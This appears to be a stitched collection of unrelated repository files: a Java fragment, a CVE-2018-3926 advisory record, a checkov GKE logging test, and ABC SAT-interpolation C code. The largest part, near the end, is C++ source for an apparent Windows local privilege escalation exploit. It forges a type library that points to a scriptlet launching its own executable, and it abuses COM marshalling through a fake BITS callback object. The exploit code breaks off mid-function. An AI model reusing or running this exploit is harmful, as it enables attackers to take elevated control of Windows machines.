eachUriStatBo.setFailedHistogram(failedHistogramCount); } return eachUriStatBo; } } }
6,190
892
<gh_stars>100-1000 { "schema_version": "1.2.0", "id": "GHSA-54c3-2724-2j2f", "modified": "2022-05-13T01:01:56Z", "published": "2022-05-13T01:01:56Z", "aliases": [ "CVE-2018-3926" ], "details": "An exploitable integer underflow vulnerability exists in the ZigBee firmware update routine of the hubCore binary of the Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17. The hubCore process incorrectly handles malformed files existing in its data directory, leading to an infinite loop, which eventually causes the process to crash. An attacker can send an HTTP request to trigger this vulnerability.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], "affected": [ ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3926" }, { "type": "WEB", "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2018-0593" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/105162" } ], "database_specific": { "cwe_ids": [ "CWE-191" ], "severity": "MODERATE", "github_reviewed": false } }
524
4,013
<filename>tests/terraform/checks/resource/gcp/test_GKEClusterLogging.py import unittest from checkov.terraform.checks.resource.gcp.GKEClusterLogging import check from checkov.common.models.enums import CheckResult class TestGKEClusterLogging(unittest.TestCase): def test_failure(self): resource_conf = {'name': ['my-gke-cluster'], 'location': ['us-central1'], 'remove_default_node_pool': [True], 'initial_node_count': [1], 'logging_service': ['none'], 'master_auth': [ {'username': [''], 'password': [''], 'client_certificate_config': [{'issue_client_certificate': [False]}]}]} scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): resource_conf = {'name': ['my-gke-cluster'], 'location': ['us-central1'], 'remove_default_node_pool': [True], 'initial_node_count': [1], 'master_auth': [ {'username': [''], 'password': [''], 'client_certificate_config': [{'issue_client_certificate': [False]}]}]} scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main()
561
682
/**CFile**************************************************************** FileName [intM114p.c] SystemName [ABC: Logic synthesis and verification system.] PackageName [Interpolation engine.] Synopsis [Intepolation using interfaced to MiniSat-1.14p.] Author [<NAME>] Affiliation [UC Berkeley] Date [Ver. 1.0. Started - June 24, 2008.] Revision [$Id: intM114p.c,v 1.00 2005/06/20 00:00:00 alanmi Exp $] ***********************************************************************/ #include "intInt.h" #include "sat/psat/m114p.h" #ifdef ABC_USE_LIBRARIES ABC_NAMESPACE_IMPL_START //////////////////////////////////////////////////////////////////////// /// DECLARATIONS /// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /// FUNCTION DEFINITIONS /// //////////////////////////////////////////////////////////////////////// /**Function************************************************************* Synopsis [Returns the SAT solver for one interpolation run.] Description [pInter is the previous interpolant. pAig is one time frame. pFrames is the unrolled time frames.] SideEffects [] SeeAlso [] ***********************************************************************/ M114p_Solver_t Inter_ManDeriveSatSolverM114p( Aig_Man_t * pInter, Cnf_Dat_t * pCnfInter, Aig_Man_t * pAig, Cnf_Dat_t * pCnfAig, Aig_Man_t * pFrames, Cnf_Dat_t * pCnfFrames, Vec_Int_t ** pvMapRoots, Vec_Int_t ** pvMapVars ) { M114p_Solver_t pSat; Aig_Obj_t * pObj, * pObj2; int i, Lits[2]; // sanity checks assert( Aig_ManRegNum(pInter) == 0 ); assert( Aig_ManRegNum(pAig) > 0 ); assert( Aig_ManRegNum(pFrames) == 0 ); assert( Aig_ManCoNum(pInter) == 1 ); assert( Aig_ManCoNum(pFrames) == 1 ); assert( Aig_ManCiNum(pInter) == Aig_ManRegNum(pAig) ); // assert( (Aig_ManCiNum(pFrames) - Aig_ManRegNum(pAig)) % Saig_ManPiNum(pAig) == 0 ); // prepare CNFs Cnf_DataLift( pCnfAig, pCnfFrames->nVars ); Cnf_DataLift( pCnfInter, pCnfFrames->nVars + pCnfAig->nVars ); *pvMapRoots = Vec_IntAlloc( 10000 ); *pvMapVars = Vec_IntAlloc( 0 ); Vec_IntFill( *pvMapVars, pCnfInter->nVars + pCnfAig->nVars + pCnfFrames->nVars, -1 ); for ( i = 0; i < pCnfFrames->nVars; i++ ) Vec_IntWriteEntry( *pvMapVars, i, -2 ); // start the solver pSat = M114p_SolverNew( 1 ); M114p_SolverSetVarNum( pSat, pCnfInter->nVars + pCnfAig->nVars + pCnfFrames->nVars ); // add clauses of A // interpolant for ( i = 0; i < pCnfInter->nClauses; i++ ) { Vec_IntPush( *pvMapRoots, 0 ); if ( !M114p_SolverAddClause( pSat, pCnfInter->pClauses[i], pCnfInter->pClauses[i+1] ) ) assert( 0 ); } // connector clauses Aig_ManForEachCi( pInter, pObj, i ) { pObj2 = Saig_ManLo( pAig, i ); Lits[0] = toLitCond( pCnfInter->pVarNums[pObj->Id], 0 ); Lits[1] = toLitCond( pCnfAig->pVarNums[pObj2->Id], 1 ); Vec_IntPush( *pvMapRoots, 0 ); if ( !M114p_SolverAddClause( pSat, Lits, Lits+2 ) ) assert( 0 ); Lits[0] = toLitCond( pCnfInter->pVarNums[pObj->Id], 1 ); Lits[1] = toLitCond( pCnfAig->pVarNums[pObj2->Id], 0 ); Vec_IntPush( *pvMapRoots, 0 ); if ( !M114p_SolverAddClause( pSat, Lits, Lits+2 ) ) assert( 0 ); } // one timeframe for ( i = 0; i < pCnfAig->nClauses; i++ ) { Vec_IntPush( *pvMapRoots, 0 ); if ( !M114p_SolverAddClause( pSat, pCnfAig->pClauses[i], pCnfAig->pClauses[i+1] ) ) assert( 0 ); } // connector clauses Aig_ManForEachCi( pFrames, pObj, i ) { if ( i == Aig_ManRegNum(pAig) ) break; // Vec_IntPush( vVarsAB, pCnfFrames->pVarNums[pObj->Id] ); Vec_IntWriteEntry( *pvMapVars, pCnfFrames->pVarNums[pObj->Id], i ); pObj2 = Saig_ManLi( pAig, i ); Lits[0] = toLitCond( pCnfFrames->pVarNums[pObj->Id], 0 ); Lits[1] = toLitCond( pCnfAig->pVarNums[pObj2->Id], 1 ); Vec_IntPush( *pvMapRoots, 0 ); if ( !M114p_SolverAddClause( pSat, Lits, Lits+2 ) ) assert( 0 ); Lits[0] = toLitCond( pCnfFrames->pVarNums[pObj->Id], 1 ); Lits[1] = toLitCond( pCnfAig->pVarNums[pObj2->Id], 0 ); Vec_IntPush( *pvMapRoots, 0 ); if ( !M114p_SolverAddClause( pSat, Lits, Lits+2 ) ) assert( 0 ); } // add clauses of B for ( i = 0; i < pCnfFrames->nClauses; i++ ) { Vec_IntPush( *pvMapRoots, 1 ); if ( !M114p_SolverAddClause( pSat, pCnfFrames->pClauses[i], pCnfFrames->pClauses[i+1] ) ) { // assert( 0 ); break; } } // return clauses to the original state Cnf_DataLift( pCnfAig, -pCnfFrames->nVars ); Cnf_DataLift( pCnfInter, -pCnfFrames->nVars -pCnfAig->nVars ); return pSat; } /**Function************************************************************* Synopsis [Performs one resolution step.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ int Inter_ManResolveM114p( Vec_Int_t * vResolvent, int * pLits, int nLits, int iVar ) { int i, k, iLit = -1, fFound = 0; // find the variable in the clause for ( i = 0; i < vResolvent->nSize; i++ ) if ( lit_var(vResolvent->pArray[i]) == iVar ) { iLit = vResolvent->pArray[i]; vResolvent->pArray[i] = vResolvent->pArray[--vResolvent->nSize]; break; } assert( iLit != -1 ); // add other variables for ( i = 0; i < nLits; i++ ) { if ( lit_var(pLits[i]) == iVar ) { assert( iLit == lit_neg(pLits[i]) ); fFound = 1; continue; } // check if this literal appears for ( k = 0; k < vResolvent->nSize; k++ ) if ( vResolvent->pArray[k] == pLits[i] ) break; if ( k < vResolvent->nSize ) continue; // add this literal Vec_IntPush( vResolvent, pLits[i] ); } assert( fFound ); return 1; } /**Function************************************************************* Synopsis [Computes interpolant using MiniSat-1.14p.] Description [Assumes that the solver returned UNSAT and proof logging was enabled. Array vMapRoots maps number of each root clause into 0 (clause of A) or 1 (clause of B). Array vMapVars maps each SAT solver variable into -1 (var of A), -2 (var of B), and <num> (var of C), where <num> is the var's 0-based number in the ordering of C variables.] SideEffects [] SeeAlso [] ***********************************************************************/ Aig_Man_t * Inter_ManInterpolateM114pPudlak( M114p_Solver_t s, Vec_Int_t * vMapRoots, Vec_Int_t * vMapVars ) { Aig_Man_t * p; Aig_Obj_t * pInter, * pInter2, * pVar; Vec_Ptr_t * vInters; Vec_Int_t * vLiterals, * vClauses, * vResolvent; int * pLitsNext, nLitsNext, nOffset, iLit; int * pLits, * pClauses, * pVars; int nLits, nVars, i, k, v, iVar; assert( M114p_SolverProofIsReady(s) ); vInters = Vec_PtrAlloc( 1000 ); vLiterals = Vec_IntAlloc( 10000 ); vClauses = Vec_IntAlloc( 1000 ); vResolvent = Vec_IntAlloc( 100 ); // create elementary variables p = Aig_ManStart( 10000 ); Vec_IntForEachEntry( vMapVars, iVar, i ) if ( iVar >= 0 ) Aig_IthVar(p, iVar); // process root clauses M114p_SolverForEachRoot( s, &pLits, nLits, i ) { if ( Vec_IntEntry(vMapRoots, i) == 1 ) // clause of B pInter = Aig_ManConst1(p); else // clause of A pInter = Aig_ManConst0(p); Vec_PtrPush( vInters, pInter ); // save the root clause Vec_IntPush( vClauses, Vec_IntSize(vLiterals) ); Vec_IntPush( vLiterals, nLits ); for ( v = 0; v < nLits; v++ ) Vec_IntPush( vLiterals, pLits[v] ); } assert( Vec_PtrSize(vInters) == Vec_IntSize(vMapRoots) ); // process learned clauses M114p_SolverForEachChain( s, &pClauses, &pVars, nVars, i ) { pInter = Vec_PtrEntry( vInters, pClauses[0] ); // initialize the resolvent nOffset = Vec_IntEntry( vClauses, pClauses[0] ); nLitsNext = Vec_IntEntry( vLiterals, nOffset ); pLitsNext = Vec_IntArray(vLiterals) + nOffset + 1; Vec_IntClear( vResolvent ); for ( v = 0; v < nLitsNext; v++ ) Vec_IntPush( vResolvent, pLitsNext[v] ); for ( k = 0; k < nVars; k++ ) { iVar = Vec_IntEntry( vMapVars, pVars[k] ); pInter2 = Vec_PtrEntry( vInters, pClauses[k+1] ); // resolve it with the next clause nOffset = Vec_IntEntry( vClauses, pClauses[k+1] ); nLitsNext = Vec_IntEntry( vLiterals, nOffset ); pLitsNext = Vec_IntArray(vLiterals) + nOffset + 1; Inter_ManResolveM114p( vResolvent, pLitsNext, nLitsNext, pVars[k] ); if ( iVar == -1 ) // var of A pInter = Aig_Or( p, pInter, pInter2 ); else if ( iVar == -2 ) // var of B pInter = Aig_And( p, pInter, pInter2 ); else // var of C { // check polarity of the pivot variable in the clause for ( v = 0; v < nLitsNext; v++ ) if ( lit_var(pLitsNext[v]) == pVars[k] ) break; assert( v < nLitsNext ); pVar = Aig_NotCond( Aig_IthVar(p, iVar), lit_sign(pLitsNext[v]) ); pInter = Aig_Mux( p, pVar, pInter, pInter2 ); } } Vec_PtrPush( vInters, pInter ); // store the resulting clause Vec_IntPush( vClauses, Vec_IntSize(vLiterals) ); Vec_IntPush( vLiterals, Vec_IntSize(vResolvent) ); Vec_IntForEachEntry( vResolvent, iLit, v ) Vec_IntPush( vLiterals, iLit ); } assert( Vec_PtrSize(vInters) == M114p_SolverProofClauseNum(s) ); assert( Vec_IntSize(vResolvent) == 0 ); // the empty clause Vec_PtrFree( vInters ); Vec_IntFree( vLiterals ); Vec_IntFree( vClauses ); Vec_IntFree( vResolvent ); Aig_ObjCreateCo( p, pInter ); Aig_ManCleanup( p ); return p; } /**Function************************************************************* Synopsis [Computes interpolant using MiniSat-1.14p.] Description [Assumes that the solver returned UNSAT and proof logging was enabled. Array vMapRoots maps number of each root clause into 0 (clause of A) or 1 (clause of B). Array vMapVars maps each SAT solver variable into -1 (var of A), -2 (var of B), and <num> (var of C), where <num> is the var's 0-based number in the ordering of C variables.] SideEffects [] SeeAlso [] ***********************************************************************/ Aig_Man_t * Inter_ManpInterpolateM114( M114p_Solver_t s, Vec_Int_t * vMapRoots, Vec_Int_t * vMapVars ) { Aig_Man_t * p; Aig_Obj_t * pInter, * pInter2, * pVar; Vec_Ptr_t * vInters; int * pLits, * pClauses, * pVars; int nLits, nVars, i, k, iVar; int nClauses; nClauses = M114p_SolverProofClauseNum(s); assert( M114p_SolverProofIsReady(s) ); vInters = Vec_PtrAlloc( 1000 ); // process root clauses p = Aig_ManStart( 10000 ); M114p_SolverForEachRoot( s, &pLits, nLits, i ) { if ( Vec_IntEntry(vMapRoots, i) == 1 ) // clause of B pInter = Aig_ManConst1(p); else // clause of A { pInter = Aig_ManConst0(p); for ( k = 0; k < nLits; k++ ) { iVar = Vec_IntEntry( vMapVars, lit_var(pLits[k]) ); if ( iVar < 0 ) // var of A or B continue; // this is a variable of C pVar = Aig_NotCond( Aig_IthVar(p, iVar), lit_sign(pLits[k]) ); pInter = Aig_Or( p, pInter, pVar ); } } Vec_PtrPush( vInters, pInter ); } // assert( Vec_PtrSize(vInters) == Vec_IntSize(vMapRoots) ); // process learned clauses M114p_SolverForEachChain( s, &pClauses, &pVars, nVars, i ) { pInter = Vec_PtrEntry( vInters, pClauses[0] ); for ( k = 0; k < nVars; k++ ) { iVar = Vec_IntEntry( vMapVars, pVars[k] ); pInter2 = Vec_PtrEntry( vInters, pClauses[k+1] ); if ( iVar == -1 ) // var of A pInter = Aig_Or( p, pInter, pInter2 ); else // var of B or C pInter = Aig_And( p, pInter, pInter2 ); } Vec_PtrPush( vInters, pInter ); } assert( Vec_PtrSize(vInters) == M114p_SolverProofClauseNum(s) ); Vec_PtrFree( vInters ); Aig_ObjCreateCo( p, pInter ); Aig_ManCleanup( p ); assert( Aig_ManCheck(p) ); return p; } /**Function************************************************************* Synopsis [Performs one SAT run with interpolation.] Description [Returns 1 if proven. 0 if failed. -1 if undecided.] SideEffects [] SeeAlso [] ***********************************************************************/ int Inter_ManPerformOneStepM114p( Inter_Man_t * p, int fUsePudlak, int fUseOther ) { M114p_Solver_t pSat; Vec_Int_t * vMapRoots, * vMapVars; clock_t clk; int status, RetValue; assert( p->pInterNew == NULL ); // derive the SAT solver pSat = Inter_ManDeriveSatSolverM114p( p->pInter, p->pCnfInter, p->pAigTrans, p->pCnfAig, p->pFrames, p->pCnfFrames, &vMapRoots, &vMapVars ); // solve the problem clk = clock(); status = M114p_SolverSolve( pSat, NULL, NULL, 0 ); p->nConfCur = M114p_SolverGetConflictNum( pSat ); p->timeSat += clock() - clk; if ( status == 0 ) { RetValue = 1; // Inter_ManpInterpolateM114Report( pSat, vMapRoots, vMapVars ); clk = clock(); if ( fUsePudlak ) p->pInterNew = Inter_ManInterpolateM114pPudlak( pSat, vMapRoots, vMapVars ); else p->pInterNew = Inter_ManpInterpolateM114( pSat, vMapRoots, vMapVars ); p->timeInt += clock() - clk; } else if ( status == 1 ) { RetValue = 0; } else { RetValue = -1; } M114p_SolverDelete( pSat ); Vec_IntFree( vMapRoots ); Vec_IntFree( vMapVars ); return RetValue; } //////////////////////////////////////////////////////////////////////// /// END OF FILE /// //////////////////////////////////////////////////////////////////////// ABC_NAMESPACE_IMPL_END #endif
7,101
397
<gh_stars>100-1000  #define RPC_USE_NATIVE_WCHAR #include "stdafx.h" #include <bits.h> #include <comdef.h> #include "../MyComDefine/resolver_h.h" #include "../CommonUtils/CommonUtils.h" #include "../CommonUtils/ReparsePoint.h" #include "../CommonUtils/FileSymlink.h" #define LEN 1024 extern "C" handle_t hBinding = NULL; static IID IID_InterfaceTemp; static IID TypeLib_InterfaceTemp; static wchar_t g_cmdline[LEN]; static wchar_t g_dllPathBak[LEN]; static wchar_t g_dllPath[LEN]; static BSTR CleanUpFileList[6] = { L"System.EnterpriseServices.tlb", L"System.EnterpriseServices.tlb.bak", L"run.sct", L"CardSpace.db", L"CardSpace.db.atomic", L"CardSpaceSP2.db" }; class SafeScopedHandle { HANDLE _h; public: SafeScopedHandle() : _h(nullptr) { } SafeScopedHandle(SafeScopedHandle& h) { _h = h._h; h._h = nullptr; } SafeScopedHandle(SafeScopedHandle&& h) { _h = h._h; h._h = nullptr; } ~SafeScopedHandle() { if (!invalid()) { CloseHandle(_h); _h = nullptr; } } bool invalid() { return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE); } void set(HANDLE h) { _h = h; } HANDLE get() { return _h; } HANDLE* ptr() { return &_h; } }; struct THREAD_PARM { HANDLE Reader; HANDLE Writer; }; DWORD WINAPI ThreadProc(LPVOID lpParam){ BYTE b[1030]; DWORD d = 0; THREAD_PARM *tp = (THREAD_PARM*)lpParam; while (ReadFile(tp->Reader, b, 1024, &d, 0)) { WriteFile(tp->Writer, b, d, &d, 0); } return 0; } static bstr_t IIDToBSTR(REFIID riid) { LPOLESTR str; bstr_t ret = "Unknown"; if (SUCCEEDED(StringFromIID(riid, &str))) { ret = str; CoTaskMemFree(str); } return ret; } _COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob)); _COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager)); bstr_t GetSystemDrive() { WCHAR windows_dir[MAX_PATH] = { 0 }; GetWindowsDirectory(windows_dir, MAX_PATH); windows_dir[2] = 0; return windows_dir; } bstr_t GetDeviceFromPath(LPCWSTR lpPath) { WCHAR drive[3] = { 0 }; drive[0] = lpPath[0]; drive[1] = lpPath[1]; drive[2] = 0; WCHAR device_name[MAX_PATH] = { 0 }; if (QueryDosDevice(drive, device_name, MAX_PATH)) { return device_name; } else { fflush(stdout); printf("[+][x] Error getting device for %ls\n", lpPath); exit(1); } } bstr_t GetSystemDevice() { return GetDeviceFromPath(GetSystemDrive()); } bstr_t GetExe() { WCHAR curr_path[MAX_PATH] = { 0 }; GetModuleFileName(nullptr, curr_path, MAX_PATH); return curr_path; } bstr_t GetExeDir() { WCHAR curr_path[MAX_PATH] = { 0 }; GetModuleFileName(nullptr, curr_path, MAX_PATH); PathRemoveFileSpec(curr_path); return curr_path; } bstr_t GetCurrentPath() { bstr_t curr_path = GetExeDir(); bstr_t ret = GetDeviceFromPath(curr_path); ret += &curr_path.GetBSTR()[2]; return ret; } static HRESULT Check(HRESULT hr) { if (FAILED(hr)) { throw _com_error(hr); } return hr; } // {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0} static const GUID IID_BaseInterface = { 0xd487789c, 0x32a3, 0x4e22, { 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } }; // {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02} static const GUID TypeLib_BaseInterface = { 0x6c6c9f33, 0xae88, 0x4ec2, { 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } }; GUID TypeLib_Tapi3 = { 0x21d6d480, 0xa88b, 0x11d0, { 0x83, 0xdd, 0x00, 0xaa, 0x00, 0x3c, 0xca, 0xbd } }; void Create(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid) { DeleteFile(filename); ICreateTypeLib2Ptr tlb; Check(CreateTypeLib2(SYS_WIN32, filename, &tlb)); //Check(CreateTypeLib2(SYS_WIN64, filename, &tlb)); tlb->SetGuid(typelib_guid); ITypeInfoPtr ref_type_info; Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info)); ICreateTypeInfoPtr create_info; Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info)); Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION)); HREFTYPE ref_type; Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type)); Check(create_info->AddImplType(0, ref_type)); Check(create_info->SetGuid(iid)); Check(tlb->SaveAllChanges()); } std::vector<BYTE> ReadFile(bstr_t path) { SafeScopedHandle hFile; hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr)); if (hFile.invalid()) { throw _com_error(E_FAIL); } DWORD size = GetFileSize(hFile.get(), nullptr); std::vector<BYTE> ret(size); if (size > 0) { DWORD bytes_read; if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size) { throw _com_error(E_FAIL); } } return ret; } void WriteFile(bstr_t path, const std::vector<BYTE> data) { SafeScopedHandle hFile; hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr)); if (hFile.invalid()) { throw _com_error(E_FAIL); } if (data.size() > 0) { DWORD bytes_written; if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size()) { throw _com_error(E_FAIL); } } } void WriteFile(bstr_t path, const char* data) { const BYTE* bytes = reinterpret_cast<const BYTE*>(data); std::vector<BYTE> data_buf(bytes, bytes + strlen(data)); WriteFile(path, data_buf); } void BuildTypeLibs(LPCSTR script_path, bstr_t if_name, bstr_t target_tlb) { try{ ITypeLibPtr stdole2; Check(LoadTypeLib(L"stdole2.tlb", &stdole2)); fflush(stdout); unsigned int len = strlen(script_path); bstr_t buf = GetExeDir() + L"\\"; for (unsigned int i = 0; i < len; ++i) { buf += L"A"; } Create(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch); ITypeLib* abc; Check(LoadTypeLib(buf, &abc)); bstr_t built_tlb = GetExeDir() + L"\\output.tlb"; Create(built_tlb, if_name, TypeLib_InterfaceTemp, IID_InterfaceTemp, abc, IID_BaseInterface); std::vector<BYTE> tlb_data = ReadFile(built_tlb); for (size_t i = 0; i < tlb_data.size() - len; ++i) { bool found = true; for (unsigned int j = 0; j < len; j++) { if (tlb_data[i + j] != 'A') { found = false; } } if (found) { fflush(stdout); printf("[+]Typelib:%s,%ls,%ls \n", script_path, if_name.GetBSTR(), IIDToBSTR(TypeLib_InterfaceTemp).GetBSTR()); memcpy(&tlb_data[i], script_path, len); break; } } WriteFile(target_tlb, tlb_data); abc->Release(); DeleteFile(buf); DeleteFile(built_tlb); } catch (const _com_error& err) { printf("[+]Error BuildT ypeLibs: %ls\n", err.ErrorMessage()); } } const wchar_t x[] = L"ABC"; const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n" L"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n"\ L"</registration>\r\n"\ L"<script language='JScript'>\r\n"\ L"<![CDATA[\r\n"\ L" new ActiveXObject('Wscript.Shell').exec('"; const wchar_t scriptlet_end[] = L"');\r\n"\ L"]]>\r\n"\ L"</script>\r\n"\ L"</component>\r\n"\ L"</package>\r\n"; bstr_t CreateScriptletFile() { bstr_t script_file = GetExeDir() + L"\\run.sct"; bstr_t script_data = scriptlet_start; bstr_t exe_file = GetExe(); wchar_t* p = exe_file; while (*p) { if (*p == '\\') { *p = '/'; } p++; } DWORD session_id; ProcessIdToSessionId(GetCurrentProcessId(), &session_id); WCHAR session_str[16]; StringCchPrintf(session_str, _countof(session_str), L"%d", session_id); script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end; WriteFile(script_file, script_data); return script_file; } class CMarshaller : public IMarshal { LONG _ref_count; IUnknown * _unk; ~CMarshaller() {} public: CMarshaller(IUnknown * unk) : _ref_count(1) { _unk = unk; } virtual HRESULT STDMETHODCALLTYPE QueryInterface( /* [in] */ REFIID riid, /* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject) { *ppvObject = nullptr; //printf("[+]QI [CMarshaller] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); if (riid == IID_IUnknown) { *ppvObject = this; } else if (riid == IID_IMarshal) { *ppvObject = static_cast<IMarshal*>(this); } else { return E_NOINTERFACE; } //printf("[+]Queried Success: %p\n", *ppvObject); ((IUnknown *)*ppvObject)->AddRef(); return S_OK; } virtual ULONG STDMETHODCALLTYPE AddRef(void) { //printf("[+]AddRef: %d\n", _ref_count); return InterlockedIncrement(&_ref_count); } virtual ULONG STDMETHODCALLTYPE Release(void) { //printf("[+]Release: %d\n", _ref_count); ULONG ret = InterlockedDecrement(&_ref_count); if (ret == 0) { printf("[+]Release object %p\n", this); delete this; } return ret; } virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass( /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags, /* [annotation][out] */ _Out_ CLSID *pCid) { GUID CLSID_AggStdMarshal2 = { 0x00000027, 0x0000, 0x0008, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; *pCid = CLSID_AggStdMarshal2; //printf("[+]GetUnmarshalClass: %ls %p\n", IIDToBSTR((REFIID)*pCid).GetBSTR(), this); return S_OK; } virtual HRESULT STDMETHODCALLTYPE MarshalInterface( /* [annotation][unique][in] */ _In_ IStream *pStm, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags) { IStorage* stg; ILockBytes* lb; CreateILockBytesOnHGlobal(nullptr, TRUE, &lb); StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); ULONG cbRead; ULONG cbWrite; IStreamPtr pStream = nullptr; HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream); LARGE_INTEGER dlibMove = { 0 }; ULARGE_INTEGER plibNewPosition; hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags); OBJREF* headerObjRef = (OBJREF*)malloc(1000); hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition); hr = pStream->Read(headerObjRef, 1000, &cbRead); printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceTemp).GetBSTR(), this); headerObjRef->iid = IID_InterfaceTemp; hr = pStm->Write(headerObjRef, cbRead, &cbWrite); return hr; } virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax( /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags, /* [annotation][out] */ _Out_ DWORD *pSize) { *pSize = 1024; return S_OK; } virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface( /* [annotation][unique][in] */ _In_ IStream *pStm, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][out] */ _Outptr_ void **ppv) { return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData( /* [annotation][unique][in] */ _In_ IStream *pStm) { return S_OK; } virtual HRESULT STDMETHODCALLTYPE DisconnectObject( /* [annotation][in] */ _In_ DWORD dwReserved) { return S_OK; } }; class FakeObject : public IBackgroundCopyCallback2, public IPersist { HANDLE m_ptoken; LONG m_lRefCount; IUnknown *_umk; ~FakeObject() {}; public: //Constructor, Destructor FakeObject(IUnknown *umk) { _umk = umk; m_lRefCount = 1; } //IUnknown HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj) { //printf("[+]QI [FakeObject] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); if (riid == __uuidof(IUnknown)) { printf("[+]Query for IUnknown\n"); *ppvObj = this; } else if (riid == __uuidof(IBackgroundCopyCallback2)) { printf("[+]Query for IBackgroundCopyCallback2\n"); } else if (riid == __uuidof(IBackgroundCopyCallback)) { printf("[+]Query for IBackgroundCopyCallback\n"); } else if (riid == __uuidof(IPersist)) { printf("[+]Query for IPersist\n"); *ppvObj = static_cast<IPersist*>(this); //*ppvObj = _unk2; } else if (riid == IID_IMarshal) { printf("[+]Query for IID_IMarshal\n"); //*ppvObj = static_cast<IBackgroundCopyCallback2*>(this); *ppvObj = NULL; return E_NOINTERFACE; } else { printf("[+]Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); *ppvObj = NULL; return E_NOINTERFACE; } ((IUnknown *)*ppvObj)->AddRef(); return NOERROR; } ULONG __stdcall AddRef() { return InterlockedIncrement(&m_lRefCount); } ULONG __stdcall Release() { ULONG ulCount = InterlockedDecrement(&m_lRefCount); if (0 == ulCount) { delete this; } return ulCount; } virtual HRESULT STDMETHODCALLTYPE JobTransferred( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob) { printf("[+]JobTransferred\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE JobError( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, /* [in] */ __RPC__in_opt IBackgroundCopyError *pError) { printf("[+]JobError\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE JobModification( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, /* [in] */ DWORD dwReserved) { printf("[+]JobModification\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE FileTransferred( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, /* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile) { printf("[+]FileTransferred\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE GetClassID( /* [out] */ __RPC__out CLSID *pClassID) { printf("[+]GetClassID\n"); *pClassID = GUID_NULL; return S_OK; } }; _COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs)); void TestBits(HANDLE hEvent) { IBackgroundCopyManagerPtr pQueueMgr; IID 